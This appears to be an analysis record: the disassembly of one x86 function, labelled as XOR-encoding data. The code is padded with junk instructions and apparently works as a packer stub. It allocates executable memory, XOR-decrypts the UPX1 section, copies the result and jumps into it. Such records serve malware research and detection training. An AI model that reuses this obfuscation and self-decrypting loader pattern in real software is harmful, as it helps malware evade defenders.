Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xd6e03bdd
and ebx, ebx
add edi, 0x23cc3361
sub edi, 1
popal
sub ebx, edi
sub ebx, edi
sub edi, 0x7fc096f1
mov edx, 0
mov ebx, esi
dec eax
add ecx, ecx
mov edi, ebx
dec ecx
add ecx, 0x6abf9023
sub ecx, 1
mov esi, edi
and eax, eax
add eax, 0x4fb82e5d
not ecx
inc edx
not eax
not ecx
cmp edx, 0x10063a5
jne 0xa789d0
inc ecx
inc eax
dec eax
sub ebx, edi
not edi
mov eax, 0xa78796
and esi, edx
or ebx, ebx
mov esi, 0xb4c10d8
mov edi, 0xa7898a
sub esi, 0x36cf0d3d
mov ebx, 0x54f666d
or edx, edx
mov ecx, dword [eax]
or ebx, edx
add ebx, edx
dec ebx
and ecx, 0xff
sub ebx, 0xeb65bb76
and esi, esi
sub edx, ebx
xor dword [edi], ecx
inc ebx
mov ebx, 0x501f3ae5
inc edi
mov esi, 0x3a74a359
not ebx
inc eax
or ebx, ebx
dec ebx
sub esi, 0x4d5de716
cmp edi, entry0
jl 0xa78a28
add esi, edx
sub edx, 0x50f50d61
sub ebx, 0x713e6896
or esi, ebx
sub edx, ecx
add edi, 0x3c94775a
mov ecx, edx
mov esi, 0xa7898e
mov edi, 0x6a6698c2
or ecx, edi
mov esi, dword [esi]
mov edx, ecx
or ebx, edx
or edx, edi
mov esi, dword [esi]
sub edx, 0xa8047de7
sub edi, 0x1cddd380
push esi
add edx, 0x58b27783
sub ebx, 0xc8f12e70
mov esi, 0xa7898a
mov ecx, 0x7cb1c959
not ecx
mov esi, dword [esi]
sub edx, 0xde84bba1
add ebx, ecx
add edi, 0x6575b816
mov esi, dword [esi]
mov edi, 0x3817894e
not ebx
push 0xa78992
add ecx, 0x179b7352
sub ebx, 0x5fe96c1
call esi
mov ecx, 0xe43cafe4
not edi
pop esi
not edi
sub edx, 1
mov edx, ebx
push 0xa7899f
dec ebx
add edi, 1
inc ecx
push eax
sub edi, 0x13d2e490
mov ebx, ecx
dec ebx
call esi
not ebx
not edx
push 0x40
not edi
sub edi, ecx
sub ebx, 0xbca9c653
sub esp, 4
mov dword [esp], 0x3000
mov edi, ecx
sub edi, ebx
add edx, edi
push 0x20000bf7
or ebx, edx
dec ebx
sub ecx, edx
push 0
sub edi, edx
mov ecx, ebx
call eax
add ebx, 0xbec9420c
and ebx, ecx
inc ecx
add eax, 0x20000b7f
not ecx
add edi, ecx
dec ecx
mov esi, 0xb1df2bb0
inc ebx
inc ecx
or edi, ecx
mov dword [eax], esi
mov ecx, edi
add edx, ebx
mov esi, dword [eax]
sub edi, ecx
inc edx
cmp esi, 0xb1df2bb0
je 0xa78b80
mov eax, 0
mov byte [eax], bl
mov ebx, 0xa8ea6f9a
sub edi, 0x602e9d0c
add edx, 0x1fcf84ce
sub ebx, 0xed838060
and ebx, ecx
add ecx, ecx
add ebx, 0xd0b7488a
dec edi
or ebx, edi
mov eax, section.UPX1
not ebx
not edi
mov ecx, 0xa78795
sub ebx, 0x2ef59d8b
sub ebx, edi
mov esi, 0
or edi, edi
mov ebx, 0xf37f62f0
add edi, edi
mov edx, 0xa78796
mov ebx, 0xcff64c89
or edi, edi
lea edx, [edx + esi]
add ebx, edi
or ebx, edi
mov edx, dword [edx]
mov edi, 0xa6dbc4b1
mov edi, 0xb3ac51d7
and edx, 0xff
sub edi, 0x13dadb83
add ebx, 0x4a6a02c9
inc esi
dec ebx
and ebx, ebx
cmp esi, 0x1f4
jne 0xa78c0a
mov esi, 0
not edi
dec ebx
or edi, edi
add ebx, 0x86dc7393
not ebx
xor dword [eax], edx
or ebx, edi
sub ebx, 0xdaf32792
and ebx, ebx
add eax, 2
or ebx, edi
mov edi, 0xc100417b
cmp eax, ecx
jl 0xa78bc8
not ebx
add ebx, 0x9532be90
mov edi, 0x62f79b07
and edi, ebx
and edi, edi
mov edi, section.UPX1
sub ebx, 0x776cf6e9
add esi, 1
or ebx, esi
mov edx, section.UPX1
dec esi
add ebx, 1
or ebx, ebx
mov ecx, 0xa78795
or esi, esi
mov ebx, 0x595391d6
mov eax, 0
add ebx, esi
or ebx, ebx
mov esi, ebx
mov al, byte [edx]
sub ebx, 0xded2ebeb
and esi, esi
sub esi, 1
mov byte [edi], al
add ebx, 0x7b22d6fe
or esi, esi
inc edi
or esi, ebx
and ebx, esi
add edx, 2
not ebx
add ebx, 0x84ec7ca4
cmp edx, ecx
jle 0xa78c81
add ebx, esi
add esi, esi
mov ebx, 0x9145e364
and edi, edi
inc ebx
and ebx, edi
push 0x8dc6a0
sub edi, ebx
and edi, ebx
ret